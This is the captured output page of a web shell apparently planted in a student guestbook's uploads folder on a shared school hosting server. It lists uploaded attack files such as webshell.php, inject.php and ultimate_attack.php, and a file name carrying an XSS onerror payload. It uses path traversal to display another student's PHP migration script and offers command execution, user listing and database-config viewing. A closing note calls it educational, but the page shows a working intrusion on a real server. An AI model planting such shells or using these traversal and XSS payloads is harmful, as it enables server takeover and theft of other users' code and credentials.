🐚 WEB SHELL ACTIVATED

šŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

šŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
šŸ“ ..
šŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
šŸ“„ 0tk5j14v024b1.jpg [view]
šŸ“„ 300px-Cursed_Cat.jpg [view]
šŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
šŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
šŸ“„ CV Jasper Kramp.png [view]
šŸ“„ Cat profile.png [view]
šŸ“„ Fronalpstock_big.jpg [view]
šŸ“„ Krik en las.jpg [view]
šŸ“„ Krik.jpg [view]
šŸ“„ Pino-dood-03.jpg [view]
šŸ“„ Shellz.php [view]
šŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
šŸ“„ Tux.svg.png [view]
šŸ“„ Z.png [view]
šŸ“„ android.jpg [view]
šŸ“„ apple.php [view]
šŸ“„ cianancatfish.jpg [view]
šŸ“„ downloads (1).jpeg [view]
šŸ“„ downloads.jpeg [view]
šŸ“„ epresso.jpg [view]
šŸ“„ fake_photo.png [view]
šŸ“„ hand.jpg [view]
šŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
šŸ“„ image.png [view]
šŸ“„ images.jpeg [view]
šŸ“„ info.php [view]
šŸ“„ inject.php [view]
šŸ“„ instant_redirect.jpg [view]
šŸ“„ japper.jpg [view]
šŸ“„ koekiemonster-3.jpg [view]
šŸ“„ logo.png [view]
šŸ“„ muis.jpg [view]
šŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
šŸ“„ picobellobv.jpeg [view]
šŸ“„ redirect.php [view]
šŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
šŸ“„ sdfsa.png [view]
šŸ“„ sneaky.svg [view]
šŸ“„ taylor.webp [view]
šŸ“„ test.html [view]
šŸ“„ testpreg.php [view]
šŸ“„ testpreg1.php [view]
šŸ“„ testtest.php.JPG [view]
šŸ“„ ultimate_attack.gif [view]
šŸ“„ ultimate_attack.php [view]
šŸ“„ ultimate_attack.svg [view]
šŸ“„ wallpaper.jpg [view]
šŸ“„ webshell.php [view]

šŸ“„ Viewing: ./../../../../585871.klas4s23.mid-ica.nl/public_html/grotevriendelijkereus/migrate_database.php

<?php
/**
 * Database migration to add recurring task columns
 * Run this script once to update your existing database
 */

require_once 'includes/classes/Databases.php';

try {
    $db = Database::getInstance();
    $pdo = $db->getPDO();

    echo "Starting database migration for recurring task columns...\n";

    // Check if columns already exist
    $stmt = $pdo->query("SHOW COLUMNS FROM tasks LIKE 'is_recurring'");
    $isRecurringExists = $stmt->fetch() !== false;

    $stmt = $pdo->query("SHOW COLUMNS FROM tasks LIKE 'recurring_series_id'");
    $recurringSeriesIdExists = $stmt->fetch() !== false;

    $stmt = $pdo->query("SHOW COLUMNS FROM tasks LIKE 'recurrence_type'");
    $recurrenceTypeExists = $stmt->fetch() !== false;

    // Add missing columns
    if (!$isRecurringExists) {
        echo "Adding is_recurring column...\n";
        $pdo->exec("ALTER TABLE tasks ADD COLUMN is_recurring TINYINT(1) DEFAULT 0");
        echo "āœ“ is_recurring column added\n";
    } else {
        echo "āœ“ is_recurring column already exists\n";
    }

    if (!$recurringSeriesIdExists) {
        echo "Adding recurring_series_id column...\n";
        $pdo->exec("ALTER TABLE tasks ADD COLUMN recurring_series_id VARCHAR(50) NULL");
        echo "āœ“ recurring_series_id column added\n";
    } else {
        echo "āœ“ recurring_series_id column already exists\n";
    }

    if (!$recurrenceTypeExists) {
        echo "Adding recurrence_type column...\n";
        $pdo->exec("ALTER TABLE tasks ADD COLUMN recurrence_type ENUM('daily', 'weekly', 'monthly') NULL");
        echo "āœ“ recurrence_type column added\n";
    } else {
        echo "āœ“ recurrence_type column already exists\n";
    }

    // Also check if end_date column exists (in case it's missing too)
    $stmt = $pdo->query("SHOW COLUMNS FROM tasks LIKE 'end_date'");
    $endDateExists = $stmt->fetch() !== false;

    if (!$endDateExists) {
        echo "Adding end_date column...\n";
        $pdo->exec("ALTER TABLE tasks ADD COLUMN end_date DATE NULL AFTER date");
        echo "āœ“ end_date column added\n";
    } else {
        echo "āœ“ end_date column already exists\n";
    }

    echo "\nāœ… Database migration completed successfully!\n";
    echo "You can now use the recurring task functionality.\n";

} catch (Exception $e) {
    echo "āŒ Migration failed: " . $e->getMessage() . "\n";
    echo "Please check your database connection and try again.\n";
}
?>

šŸŽÆ Available Actions

Command Execution:

Quick Commands:

šŸ“‹ List files | šŸ‘¤ Show user | šŸ“ Show directory | šŸ”„ Show processes | šŸ” Show users

File Operations:

ā¬†ļø Parent directory | šŸ  Root directory | šŸ” View DB config
āš ļø Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!